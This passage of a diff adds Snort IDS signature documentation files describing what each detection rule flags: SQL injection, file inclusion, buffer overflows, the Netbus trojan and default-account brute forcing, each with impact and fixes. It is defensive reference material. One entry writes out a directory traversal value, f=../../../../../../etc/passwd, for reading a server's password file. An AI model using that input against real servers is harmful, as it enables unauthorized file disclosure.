--- snort-2.8.5.2.orig/doc/signatures/2367.txt
+++ snort-2.8.5.2/doc/signatures/2367.txt
@@ -0,0 +1,62 @@
+Rule:  
+
+--
+Sid:
+2367
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the PHP web application PhpGedView.
+
+--
+Impact:
+Execution of arbitrary code on the affected system
+
+--
+Detailed Information:
+PhpGedView contains a flaw such that it may be possible for an attacker
+to include code of their choosing by manipulating the PGV_BASE_DIRECTORY
+parameter when making a GET or POST  request to a vulnerable system.
+
+It may be possible for an attacker to execute that code with the
+privileges of the user running the webserver, usually root.
+
+--
+Affected Systems:
+	PhpGedView 2.65.1 and earlier
+--
+Attack Scenarios:
+An attacker can make a request to an affected script and define their
+own path to the PGV_BASE_DIRECTORY variable.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-07.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000476.txt
+++ snort-2.8.5.2/doc/signatures/100000476.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+100000476
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "VBZoom" application running on a webserver. Access to the 
+file "meaning.php" with SQL commands being passed as the "Action" parameter may 
+indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "Action" parameter in the "meaning.php" script used by 
+the "VBZoom" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZoom
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3307.txt
+++ snort-2.8.5.2/doc/signatures/3307.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3307
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000550.txt
+++ snort-2.8.5.2/doc/signatures/100000550.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+100000550
+--
+Summary:
+This event is generated when an attempt is made to access the file "comment.php 
+which contains known vulnerabilities in the "Project Eros BBSEngine" 
+application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known 
+vulnerabilities from a remote machine used by the "Project Eros BBSEngine" 
+application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Project Eros BBSEngine
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/425.txt
+++ snort-2.8.5.2/doc/signatures/425.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+425
+
+--
+
+Summary:
+This event is generated when a router generates and ICMP Parameter Problem Bad Length datagram.
+
+--
+
+Impact:
+This could be an indication of a protocol error by a previous hop router.  Normally this datagram would only be generated with the datagram was truncated before it reached its final destination.
+
+--
+
+Detailed Information:
+A router generates a Parameter Problem message for any error not specifically covered by another ICMP message.  An ICMP Parameter Problem Bad Length datagram indicates that the datagram was truncated before it reached its final destination.  This could be an indication of routing problems on the network, or malfunctioning routing hardware.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 12 Code 2 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for configuration errors or nefarious activity.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/593.txt
+++ snort-2.8.5.2/doc/signatures/593.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+593
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) snmpXdmi is listening.
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port snmpXdmi is using.  Attackers can also learn what versions of the snmpXdmi protocol are accepted by snmpXdmi.
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as snmpXdmi run.  Simple Network Management Protocol (SNMP) and Desktop Management Interface (DMI) are remote management protocols.  The snmpXdmi RPC service translates between SNMP and DMI, allowing the use of either or both.  There is a buffer overflow when translating DMI to SNMP that allows access with the privilege level of snmpXdmi.
+
+--
+Affected Systems:
+Sun Solaris 2.6, 7.0, and 8.0.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where snmpXdmi runs.  This may be a precursor to accessing snmpXdmi.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access snmpXdmi, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for snmpXdmi, not probes of the snmpXdmi service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the snmpXdmi service itself. An attacker may attempt to go directly to the snmpXdmi port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0236
+
+CERT
+http://www.cert.org/advisories/CA-2001-05.html
+
+Bugtraq
+http://www.securityfocus.com/bid/2417
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1774.txt
+++ snort-2.8.5.2/doc/signatures/1774.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1774
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2425.txt
+++ snort-2.8.5.2/doc/signatures/2425.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+2425
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in ISC INN Usenet/NNTP server.
+
+--
+Impact:
+Execution of arbitrary code is possible.
+
+--
+Detailed Information:
+A vulnerability exists in the network news transport protocol server
+from ISC. It may be possible for a remote attacker to exploit a buffer
+overflow condition in the software to execute code of the attackers
+choosing with the privileges of the user running the daemon.
+
+--
+Affected Systems:
+	ISC INN 2.4 .0
+
+--
+Attack Scenarios:
+An attacker may send specially crafted packets to a vulnerable system to
+cause the overflow condition to occur. Once successful the attacker may
+attempt to escalate privileges by using further local exploits.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2837.txt
+++ snort-2.8.5.2/doc/signatures/2837.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2837
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure rename_shadow_column_group
+. This procedure is included in
+sys.dbms_repcat_mas.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3088.txt
+++ snort-2.8.5.2/doc/signatures/3088.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+3088
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a client buffer
+overflow associated with Winamp's processing of a filename with an
+extension of .cda.
+
+--
+Impact:
+A successful attack may permit a buffer overflow that allows the execution
+of arbitrary code at the privilege level of the user running Winamp.
+
+--
+Detailed Information:
+Winamp is a media file player for Windows developed by Nullsoft.  A buffer
+overflow exists because of insufficient bounds checking while handling the
+name of a CD audio format file (.cda extension) or a playlist that contains
+a filename with a .cda extension.  An overly long name may cause the buffer
+overflow permitting the execution of arbitrary code at the privilege level
+of the user running Winamp.
+
+--
+Affected Systems:
+	Winamp 3.x, and 5.x
+
+--
+Attack Scenarios:
+An attacker can create and send a malformed .cda filename that may cause
+a buffer overflow and the subsequent execution of arbitrary code on the
+vulnerable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3273.txt
+++ snort-2.8.5.2/doc/signatures/3273.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid:
+3152
+
+-- 
+Summary: 
+This event is generated when an attempt is made to access a host running
+Microsoft SQL Server or utilizing MSDE via the default "sa" account.
+
+-- 
+Impact: 
+Information disclosure. Unauthorized access to the host.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to access a host via the
+"sa" account using brute force techniques to guess a password.
+
+Microsoft SQL server and MSDE components use a default "sa" account with
+a default password as the administrative user for the database
+installation. This event indicates that numerous failed attempts have
+been made to access the target host using this account.
+
+--
+Affected Systems:
+	Microsoft SQL Server 2000
+	Microsoft SQL Server 7.0
+	Systems using Microsoft MSDE components
+
+--
+Attack Scenarios:  
+An attacker can use an automated script to gain access to a host and the
+database contents as an administrator by repeatly attempting to login
+using the "sa" account and different passwords.
+
+Some worms also try to brute force entry using this methodology.
+
+-- 
+Ease of Attack: 
+Simple,
+
+-- 
+False Positives: 
+None Known
+
+--
+False Negatives: 
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches
+
+Change the default "sa" password
+
+Disable the "sa" account.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1385.txt
+++ snort-2.8.5.2/doc/signatures/1385.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1385
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an 
+authentication vulnerability in a web server or an application running
+on that server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a web server or an application running ona web server. Some
+applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/111.txt
+++ snort-2.8.5.2/doc/signatures/111.txt
@@ -0,0 +1,78 @@
+
+--
+Rule:
+--
+Sid:111
+
+--
+Summary:
+This event is generated when an attacker is connected to a Netbus trojan
+and issues the command 'getinfo'
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+The Netbus program is a backdoor designed for Windows. It allows anyone 
+who knows the listening port number and password to remotely control the
+host.  Intruders access the server using either a text or graphics based
+client. 
+
+The backdoor program allows the remote user to execute commands, list
+files, start silent services, share directories, upload and download
+files, manipulate the registry, kill processes, list processes, as well
+as other options, as well as open/close the CD-ROM drive, send
+interactive dialogs to chat with the compromised system, listen to the
+system's microphone (if it has one), and a few other features. 
+
+--
+Affected Systems:
+	Windows 95
+	Windows 98
+	Windows NT
+	Windows 2000
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability and
+the attacker is leaving another way into the machine for further use.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+Security tool probing for netbus
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access to port 12345 from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by John Liss
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+NTsecurity.net
+http://www.ntsecurity.net/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3117.txt
+++ snort-2.8.5.2/doc/signatures/3117.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3117
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3050.txt
+++ snort-2.8.5.2/doc/signatures/3050.txt
@@ -0,0 +1,64 @@
+Rule: 
+
+--
+Sid: 
+3050
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ethereal.
+
+-- 
+Impact: 
+Serious. Denial of Service (DoS).
+
+--
+Detailed Information:
+Ethereal is a multi-platform network protocol analyser capable of
+displaying network data to the user in a graphical user interface.
+
+An error in the processing of access control lists (ACLs) concerning the
+size of the access control entries (ACEs) may lead to a Denial of Service
+(DoS) condition in Ethereal. The ACL parsing routine trusts the size of
+the ACE given in the packet during processing. If a sufficiently large ACL
+structure is supplied combined with a specified ACE size of 0, it is
+possible to cause the DoS condition to occur.
+
+--
+Affected Systems:
+	Ethereal 0.10.7 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to craft packet data containing large NT ACLs, the
+attacker then needs to specify one of the ACEs as having a size of 0.
+
+-- 
+Ease of Attack: 
+Moderate.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/964.txt
+++ snort-2.8.5.2/doc/signatures/964.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+964
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft FrontPage
+Server Extensions.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft FrontPage Server Extensions. Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+This event is generated when an attempt is made to retrieve the file
+users.pwd. This file contains user password information.
+
+--
+Affected Systems:
+	Windows 98 using Microsoft FrontPage Server Extensions
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=kb;en-us;144190
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1815.txt
+++ snort-2.8.5.2/doc/signatures/1815.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1815
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1434.txt
+++ snort-2.8.5.2/doc/signatures/1434.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1434
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2201.txt
+++ snort-2.8.5.2/doc/signatures/2201.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2201
+
+--
+Summary:
+This event is generated when an attempt is made to access download.cgi on an internal web server. This may indicate an attempt to exploit a directory traversal vulnerability in Matthew Wright's download.cgi 1.0.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+Matt Wright's Script Archive provides a File Download script which allows users to keep track of the number of file downloads for specific files. It contains a directory traversal vulnerability where an attacker can use directory traversal techniques ("../..," for instance) within the "f" parameter, and pass these values to download.cgi to view hidden files on the server.
+
+--
+Affected Systems:
+Any web server using download.cgi version 1.0 to track file downloads.
+
+--
+Attack Scenarios:
+An attacker crafts a download.cgi URL where f=../../../../../../etc/passwd and transmits it to a vulnerable server. If the parameter matches the location of the target server's password file, the attacker can view and download the file. The attacker can use this method to view any arbitrary file, and to browse the server to discover information that may be helpful in a future attack.
+
+--
+Ease of Attack:
+Simple. A proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses download.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable download.cgi.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2249.txt
+++ snort-2.8.5.2/doc/signatures/2249.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2249
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the ASP application ProductCart.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+It is possible to inject SQL commands into the ASP application 
+ProductCart which could lead to the disclosure of information relating 
+to the underlying database and records contained in that database.
+
+--
+Affected Systems:
+	EarlyImpact ProductCart 2br000, 2, 1.6br003, 1.6br001, 1.6br, 1.6b003, 1.6b002, 1.6b001, 1.6b, 1.6003, 1.6002, 1.5004, 1.5003r, 1.5, 1.5002, 1.5003
+
+--
+Attack Scenarios:
+The attacker can supply SQL commands via a URI to access sensitive information.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Harded the system in the manner recommended by the vendor.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Vendor information:
+http://www.earlyimpact.com/productcart/support/security-alert-070603.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/650.txt
+++ snort-2.8.5.2/doc/signatures/650.txt
@@ -0,0 +1,82 @@
+Rule:  
+--
+Sid:
+650
+
+--
+Summary:
+Shellcode to set the user identity to 0 (root) was detected.
+
+--
+Impact:
+If this code is executed successfully, it is possible for the current
+process to inherity root privledges.  However, setuid(2) requires root
+privledges to be executed in the first place if the current uid is
+attempting to get a higher priviledge level.
+
+--
+Detailed Information:
